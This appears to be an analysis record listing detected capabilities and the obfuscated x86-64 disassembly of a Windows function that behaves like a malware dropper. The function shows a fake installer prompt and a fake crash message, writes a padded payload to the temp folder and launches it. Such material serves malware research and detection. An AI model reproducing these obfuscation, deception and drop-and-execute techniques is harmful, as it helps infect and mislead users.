Function at 0x1800032c0
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xb0], xmm6
mov dword [rbp - 0xc], edx
mov rbx, rcx
mov rax, qword [0x180034008]
xor rax, rbp
mov qword [rbp + 0xa8], rax
mov eax, dword [0x180034a38]
mov ecx, dword [0x180034a3c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xa3]
cmp ecx, 0xa
setl byte [rbp + 0xa2]
mov ecx, 0x43e84517
mov r13, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm6, xmm6
jmp 0x180003370
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfb12fec
mov eax, 0xa9eff565
cmove ecx, eax
cmp dword [0x180034a3c], 0xa
cmovl ecx, eax
nop word cs:[rax + rax]
nop
cmp ecx, 0x149a32aa
jle 0x1800033d0
cmp ecx, 0x43e84516
jle 0x1800034c0
cmp ecx, 0x5fdeffa0
jg 0x180003515
cmp ecx, 0x50c5034d
jle 0x1800036ca
cmp ecx, 0x54d9d160
jle 0x180003a46
cmp ecx, 0x54d9d161
je 0x180003dad
cmp ecx, 0x566b609a
je 0x18000333e
cmp ecx, 0x59b1caa0
jne 0x180003370
mov ecx, 0x88aed0bf
jmp 0x180003370
cmp ecx, 0xd17d2099
jle 0x180003450
cmp ecx, 0xf5d0341d
jle 0x180003601
cmp ecx, 0x6a382e5
jle 0x180003770
cmp ecx, 0xfb12feb
jle 0x180003a90
cmp ecx, 0xfb12fec
je 0x180003dcb
cmp ecx, 0x13642ea7
je 0x180003df9
cmp ecx, 0x136cd1b2
jne 0x180003370
movzx eax, byte [rbp + 0xa0]
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x54]
cmp eax, 1
mov ecx, 0x207818e6
mov eax, 0x566b609a
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0xa2289a65
jle 0x18000364a
cmp ecx, 0xb8385065
jle 0x1800037ba
cmp ecx, 0xc47eda47
jle 0x180003ab2
cmp ecx, 0xc47eda48
je 0x180003e03
cmp ecx, 0xc7edd660
je 0x180003e3e
cmp ecx, 0xcee2f0a7
jne 0x180003370
cmp byte [rbp + 0xa7], 0
mov ecx, 0xf459daea
mov eax, 0xd4e7b71f
cmovne ecx, eax
jmp 0x180003370
cmp ecx, 0x2b26c4fc
jle 0x180003684
cmp ecx, 0x35adcd89
jle 0x18000382a
cmp ecx, 0x36b7da5e
jle 0x180003ad4
cmp ecx, 0x36b7da5f
je 0x180003e4f
cmp ecx, 0x40a8024c
je 0x180003e79
cmp ecx, 0x40cdac4f
jne 0x180003370
mov ecx, 0x5fdeffa1
xor r14d, r14d
jmp 0x180003370
cmp ecx, 0x7236bc79
jle 0x180003879
cmp ecx, 0x79a6dc63
jle 0x180003b11
cmp ecx, 0x79a6dc64
je 0x180003eb5
cmp ecx, 0x7e34c5f7
je 0x180003f08
cmp ecx, 0x7ee1b2c9
jne 0x180003370
mov rax, qword [rbp + 0x90]
movzx eax, byte [rax + 3]
mov dword [rbp - 0x10], eax
mov rax, qword [rbp + 0x90]
movzx eax, byte [rax + 4]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp + 0x90]
movzx eax, byte [rax + 5]
mov byte [rbp + 0xa0], al
sub rsp, 0x20
call fcn.1800012e0
add rsp, 0x20
mov dword [rbp - 0x18], eax
mov rax, qword [rbp + 0x90]
movzx eax, byte [rax + 6]
mov rcx, qword [rbp + 0x90]
movzx ecx, byte [rcx + 7]
shl ecx, 8
or ecx, eax
mov word [rbp + 0x9c], cx
mov rsi, r15
movzx r15d, word [rbp + 0x9c]
add r15, 2
sub rsp, 0x20
call r13
mov rcx, rax
mov edx, 8
mov r8, r15
mov r15, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rsp, 0x20
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
mov ecx, 0xb4cee532
mov eax, 0x40cdac4f
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0xdc5c264e
jle 0x180003903
cmp ecx, 0xe69dd2d8
jg 0x1800039f2
cmp ecx, 0xdc5c264f
je 0x180003fbd
cmp ecx, 0xe0cfa1a7
jne 0x18000449e
cmp byte [rbp + 0x9f], 0
mov ecx, 0x51edcce8
mov eax, 0xcee2f0a7
cmovne ecx, eax
jmp 0x180003370
cmp ecx, 0x9742ca8d
jg 0x180003944
cmp ecx, 0x88aed0be
jg 0x180003b6b
cmp ecx, 0x825ecf16
je 0x180003ffa
cmp ecx, 0x862bdcb5
jne 0x1800044ab
mov ecx, 0x59b1caa0
jmp 0x180003370
cmp ecx, 0x1c95d2e8
jg 0x1800039c0
cmp ecx, 0x1b1af734
jg 0x180003b91
cmp ecx, 0x149a32ab
je 0x180004004
cmp ecx, 0x1a84efbc
jne 0x180003370
mov rax, qword [rbp - 8]
mov rax, qword [rbp]
mov rax, qword [rbp - 0x70]
mov ecx, 0xc31ff7f0
jmp 0x180003370
cmp ecx, 0x4c7f244e
jg 0x180003bd1
cmp ecx, 0x43e84517
je 0x180004022
cmp ecx, 0x49f366cb
jne 0x180003370
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
lea rdx, [0x18001708e]
mov rsi, qword [sym.imp.KERNEL32.dll_lstrcatW]
call rsi
add rsp, 0x20
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x68]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
add rsp, 0x40
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
cmp rax, 0xffffffffffffffff
mov ecx, 0x79a6dc64
mov eax, 0xc31ff7f0
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0xfebf1721
jg 0x180003bf3
cmp ecx, 0xf5d0341e
je 0x180004047
cmp ecx, 0xfbc01dbc
jne 0x180003370
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4c7f244f
mov eax, 0x149a32ab
jmp 0x180003357
cmp ecx, 0xadb22e7b
jg 0x180003c29
cmp ecx, 0xa2289a66
je 0x180004060
cmp ecx, 0xa9eff565
jne 0x180003370
sub rsp, 0x20
xor ecx, ecx
lea rdx, str.Click_OK_to_start_installation.
lea r8, str.Installer
mov r9d, 0x41
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0x20
cmp eax, 1
setne byte [rbp + 0x9f]
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfb12fec
mov eax, 0xe0cfa1a7
jmp 0x180003357
cmp ecx, 0x31192642
jg 0x180003c9a
cmp ecx, 0x2b26c4fd
je 0x18000407d
cmp ecx, 0x2e8ae655
jne 0x180003370
mov rdx, qword [rbp + 0x70]
sub rsp, 0x20
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
add rsp, 0x20
test eax, eax
mov ecx, 0x6a382e6
mov eax, 0x1c27d286
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0x626e4935
jg 0x180003cda
cmp ecx, 0x5fdeffa1
je 0x180004087
cmp ecx, 0x6077dd9e
jne 0x180003370
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x2ee00000
xor edx, edx
call fcn.180006410
add rsp, 0x20
mov r9, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r8d, 0x2ee00000
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x30
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rsp, 0x20
mov ecx, 0xf81fd07
jmp 0x180003370
cmp ecx, 0xd4e7b71e
jg 0x180003d21
cmp ecx, 0xd17d209a
je 0x1800040a0
cmp ecx, 0xd19d20c2
jne 0x180003370
mov rax, qword [rbp + 0x90]
cmp byte [rax + 2], 0x44
mov ecx, 0xc7edd660
mov eax, 0x7ee1b2c9
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0xa10c8c0f
jg 0x180003d49
cmp ecx, 0x9742ca8e
je 0x1800040bb
cmp ecx, 0x9cb832f5
jne 0x180003370
movzx eax, word [rbp + 0xa4]
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
add eax, 2
movsxd rsi, eax
sub rsp, 0x20
call r13
mov rcx, rax
mov edx, 8
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rsp, 0x20
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp - 0x60], rax
cmp qword [rbp - 0x60], 0
mov ecx, 0x50c5034e
mov eax, 0x330fcc9c
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0x207818e5
jg 0x180003d84
cmp ecx, 0x1c95d2e9
je 0x180004173
cmp ecx, 0x1eab99d9
jne 0x180003370
cmp dword [rbp + 0x58], 0
mov ecx, 0xfbc01dbc
jmp 0x18000435a
cmp ecx, 0xe69dd2d9
je 0x1800041a9
cmp ecx, 0xe9c44845
jne 0x1800044b9
mov rax, qword [rbp + 0x88]
movzx eax, byte [rax + 2]
mov rcx, qword [rbp + 0x88]
movzx ecx, byte [rcx + 3]
shl ecx, 8
or ecx, eax
mov word [rbp + 0xa4], cx
cmp word [rbp + 0xa4], 0
mov ecx, 0x9cb832f5
mov eax, 0x862bdcb5
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0x50c5034e
je 0x1800041c7
cmp ecx, 0x51edcce8
jne 0x180003370
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp + 0x48]
mov dword [rax], 0
mov ecx, 0xfebf1722
mov r12d, 0x66
jmp 0x180003370
cmp ecx, 0x6a382e6
je 0x180004255
cmp ecx, 0xf81fd07
jne 0x180003370
mov ecx, 0x9742ca8e
jmp 0x180003370
cmp ecx, 0xb8385066
je 0x1800042ec
cmp ecx, 0xc31ff7f0
jne 0x180003370
mov ecx, 0xb8385066
jmp 0x180003370
cmp ecx, 0x35adcd8a
je 0x180004314
cmp ecx, 0x364d2b27
jne 0x180003370
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.1800015a0
add rsp, 0x20
test eax, eax
mov ecx, 0xd67bb9bf
mov eax, 0x626e4936
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0x7236bc7a
je 0x180004367
cmp ecx, 0x76228daf
jne 0x180003370
sub rsp, 0x20
call r13
mov r8d, 0x20a
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rsp, 0x20
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0
mov ecx, 0x2e8ae655
mov eax, 0x54d9d161
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0x88aed0bf
je 0x180004379
cmp ecx, 0x9232e85b
jne 0x180003370
mov rax, qword [rbp + 0x60]
mov ecx, 0xc47eda48
jmp 0x180003370
cmp ecx, 0x1b1af735
je 0x1800043a7
cmp ecx, 0x1c27d286
jne 0x180003370
sub rsp, 0x20
call r13
add rsp, 0x20
mov r8, qword [rbp - 0x40]
sub rsp, 0x20
mov rcx, rax
xor edx, edx
call rdi
add rsp, 0x20
mov ecx, 0x54d9d161
jmp 0x180003370
cmp ecx, 0x4c7f244f
je 0x1800043be
cmp ecx, 0x4d0bbebd
jne 0x180003370
mov ecx, 0x36893a3
jmp 0x180003370
cmp ecx, 0xfebf1722
je 0x1800043c8
cmp ecx, 0x36893a3
jne 0x180003370
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4d0bbebd
mov eax, 0x2b26c4fd
jmp 0x180003357
cmp ecx, 0xadb22e7c
je 0x1800043fb
cmp ecx, 0xb4cee532
jne 0x180003370
mov rdx, qword [rbp + 0x90]
add rdx, 8
movzx r8d, word [rbp + 0x9c]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
call fcn.180005d60
add rsp, 0x20
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.180001530
add rsp, 0x20
cmp dword [rbp - 0x14], 0
setne byte [rbp + 0xa7]
cmp byte [rbp + 0xa7], 0
mov ecx, 0x626e4936
mov eax, 0x364d2b27
cmovne ecx, eax
jmp 0x180003370
cmp ecx, 0x31192643
je 0x180004414
cmp ecx, 0x330fcc9c
jne 0x180003370
sub rsp, 0x20
call r13
add rsp, 0x20
mov r8, qword [rbp + 8]
sub rsp, 0x20
mov rcx, rax
xor edx, edx
call rdi
add rsp, 0x20
mov ecx, 0x862bdcb5
jmp 0x180003370
cmp ecx, 0x626e4936
je 0x180004425
cmp ecx, 0x6aa64138
jne 0x180003370
mov rax, qword [rbp + 0x38]
mov rcx, qword [rax]
sub rsp, 0x20
call r15
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call r15
add rsp, 0x20
mov ecx, 0x1a84efbc
jmp 0x180003370
cmp ecx, 0xd4e7b71f
je 0x180004452
cmp ecx, 0xd67bb9bf
jne 0x180003370
mov ecx, 0x5fdeffa1
mov r14d, 1
jmp 0x180003370
cmp ecx, 0xa10c8c10
je 0x18000446d
cmp ecx, 0xa10d4304
jne 0x180003370
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
add rsp, 0x20
test eax, eax
mov ecx, 0x49f366cb
jmp 0x180004248
cmp ecx, 0x207818e6
je 0x180004486
cmp ecx, 0x29df232a
jne 0x180003370
mov ecx, 0xdecb1732
mov dword [rbp + 0x5c], 0
jmp 0x180003370
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4d0bbebd
mov eax, 0x36893a3
jmp 0x180003357
sub rsp, 0x20
xor ecx, ecx
lea rdx, str.Click_OK_to_start_installation.
lea r8, str.Installer
mov r9d, 0x41
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0x20
mov ecx, 0xa9eff565
jmp 0x180003370
mov ecx, 0xfbc01dbc
jmp 0x180003370
mov rax, qword [rbp + 0x60]
mov rax, qword [rax]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
setne byte [rbp + 0x9e]
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9232e85b
mov eax, 0xa10c8c10
jmp 0x180003357
mov ecx, 0x1eab99d9
mov dword [rbp + 0x58], 0
jmp 0x180003370
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
cmp byte [rax], 0x48
mov ecx, 0xc7edd660
mov eax, 0xa2289a66
cmove ecx, eax
jmp 0x180003370
sub rsp, 0x20
mov edx, 0x2ee00000
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
mov ecx, 0x6077dd9e
mov eax, 0xf81fd07
cmove ecx, eax
jmp 0x180003370
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp + 0x40]
mov dword [rax], 0
mov r9, qword [rbp + 0x40]
mov r8d, dword [rbp - 0x20]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x30]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x30
cmp dword [rbp - 0x1c], 0
mov ecx, 0x40a8024c
mov eax, 0x9742ca8e
cmove ecx, eax
jmp 0x180003370
mov eax, 0x10
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov eax, 0x10
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x10
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x10
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x10
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, 0x70
call fcn.180004520
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x20
call fcn.180004520
sub rsp, rax
mov rax, rsp
cmp dword [rbp - 0xc], 1
sete byte [rbp + 0xa1]
mov qword [rbp + 0x38], rax
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x825ecf16
mov eax, 0xf5d0341e
jmp 0x180003357
sub rsp, 0x20
xor ecx, ecx
lea rdx, str.Error_writing_to_protected_memory._Please_restart_the_application._nError_code:_0xc0000005
lea r8, str.Critical_error
mov r9d, 0x10
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0x20
cmp byte [rbp + 0xa7], 0
mov ecx, 0x830e4c3a
mov eax, 0xd17d209a
cmovne ecx, eax
jmp 0x180003370
mov ecx, 0x7e34c5f7
jmp 0x180003370
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4c7f244f
mov eax, 0x31192643
jmp 0x180003357
movzx eax, byte [rbp + 0xa3]
cmp byte [rbp + 0xa2], 0
mov ecx, 0x825ecf16
mov edx, 0x7e34c5f7
cmovne ecx, edx
test al, al
cmovne ecx, edx
jmp 0x180003370
cmp byte [rbp + 0xa1], 0
mov ecx, 0x29df232a
mov eax, 0x35adcd8a
cmovne ecx, eax
jmp 0x180003370
mov rax, qword [rbp + 0x90]
cmp byte [rax + 1], 0x4e
mov ecx, 0xc7edd660
mov eax, 0xd19d20c2
cmove ecx, eax
jmp 0x180003370
mov ecx, 0x51edcce8
jmp 0x180003370
test r14d, r14d
mov ecx, 0x1eab99d9
mov eax, 0xc7edd660
cmove ecx, eax
mov dword [rbp + 0x58], r14d
jmp 0x180003370
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.180001720
add rsp, 0x20
mov ecx, 0x830e4c3a
jmp 0x180003370
mov rcx, qword [rbp + 0x30]
sub rsp, 0x20
call r15
add rsp, 0x20
mov rax, qword [rbp + 0x10]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rax, qword [rbp]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0x38]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x68]
sub rsp, 0x50
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
add rsp, 0x50
test eax, eax
mov ecx, 0x6aa64138
mov eax, 0x1a84efbc
cmove ecx, eax
jmp 0x180003370
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x88]
movzx edx, byte [rcx + 1]
cmp dword [rbp - 0x18], 0
mov ecx, 0xe9c44845
mov esi, 0x59b1caa0
cmovne ecx, esi
cmp byte [rax], 0
mov dword [rbp - 0x1c], edx
mov eax, 0xe9c44845
cmove ecx, eax
jmp 0x180003370
mov eax, dword [0x180034a38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9232e85b
mov eax, 0xc47eda48
jmp 0x180003357
mov rdx, qword [rbp + 0x88]
add rdx, 4
movzx r8d, word [rbp + 0xa4]
mov rcx, qword [rbp + 8]
sub rsp, 0x20
call fcn.180005d60
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov eax, dword [rax]
sub eax, dword [rbp + 0x84]
add eax, 0xfffffff8
mov dword [rbp - 0x20], eax
mov eax, dword [rbp + 0x84]
add eax, 8
cdqe
add rax, qword [rbp + 0x88]
mov qword [rbp - 0x78], rax
sub rsp, 0x20
call r13
mov r8d, 0x20a
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add rsp, 0x20
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
mov ecx, 0xa10d4304
mov eax, 0xb8385066
cmove ecx, eax
jmp 0x180003370
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
lea rdx, [0x18001708e]
mov rsi, qword [sym.imp.KERNEL32.dll_lstrcatW]
call rsi
add rsp, 0x20
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
lea rdx, str..lock
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x70]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
add rsp, 0x40
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
cmp rax, 0xffffffffffffffff
mov ecx, 0xdc5c264f
mov eax, 0xadb22e7c
cmove ecx, eax
jmp 0x180003370
sub rsp, 0x20
call r13
add rsp, 0x20
mov r8, qword [rbp - 0x68]
sub rsp, 0x20
mov rcx, rax
xor edx, edx
call rdi
add rsp, 0x20
mov ecx, 0x330fcc9c
jmp 0x180003370
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov r8, qword [rbp + 0x20]
mov r9, qword [rbp + 0x18]
sub rsp, 0x20
mov rcx, rbx
mov edx, 0x65
call fcn.1800019c0
add rsp, 0x20
test eax, eax
mov ecx, 0x36b7da5f
mov eax, 0x13642ea7
cmove ecx, eax
jmp 0x180003370
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov ecx, 0x40cdac4f
jmp 0x180003370
mov rax, qword [rbp + 0x60]
mov rsi, qword [rax]
sub rsp, 0x20
call r13
mov rcx, rax
xor edx, edx
mov r8, rsi
call rdi
add rsp, 0x20
mov r12d, dword [rbp + 0x50]
add r12d, 1
mov ecx, 0xfebf1722
jmp 0x180003370
sub rsp, 0x20
call fcn.1800019b0
add rsp, 0x20
mov ecx, 0x136cd1b2
jmp 0x180003370
mov ecx, 0x149a32ab
jmp 0x180003370
mov dword [rbp + 0x50], r12d
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
mov edx, dword [rbp + 0x50]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800019c0
add rsp, 0x20
test eax, eax
mov ecx, 0xe69dd2d9
mov eax, 0x7236bc7a
cmove ecx, eax
jmp 0x180003370
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
call r15
add rsp, 0x20
mov ecx, 0x1c27d286
jmp 0x180003370
mov ecx, 0xdecb1732
mov dword [rbp + 0x5c], 1
jmp 0x180003370
sub rsp, 0x20
call fcn.180001850
add rsp, 0x20
cmp dword [rbp - 0x10], 0
mov ecx, 0x136cd1b2
mov edx, 0x1b1af735
cmovne ecx, edx
test eax, eax
mov eax, 0x136cd1b2
cmovne ecx, eax
jmp 0x180003370
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.180001720
add rsp, 0x20
mov ecx, 0xf459daea
jmp 0x180003370
cmp byte [rbp + 0x9e], 0
mov ecx, 0x88aed0bf
mov eax, 0x1c95d2e9
cmovne ecx, eax
jmp 0x180003370
mov eax, dword [rbp + 0x54]
cmp eax, 2
mov ecx, 0x51edcce8
mov eax, 0x76228daf
cmove ecx, eax
jmp 0x180003370
cmp ecx, 0xdecb1732
je 0x1800044d1
jmp 0x180003370
cmp ecx, 0x830e4c3a
jne 0x180003370
jmp 0x1800044c5
cmp ecx, 0xf459daea
jne 0x180003370
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rbp + 0xa8]
xor rcx, rbp
sub rsp, 0x20
call fcn.180004580
add rsp, 0x20
mov eax, dword [rbp + 0x5c]
movaps xmm6, xmmword [rbp + 0xb0]
lea rsp, [rbp + 0xc8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret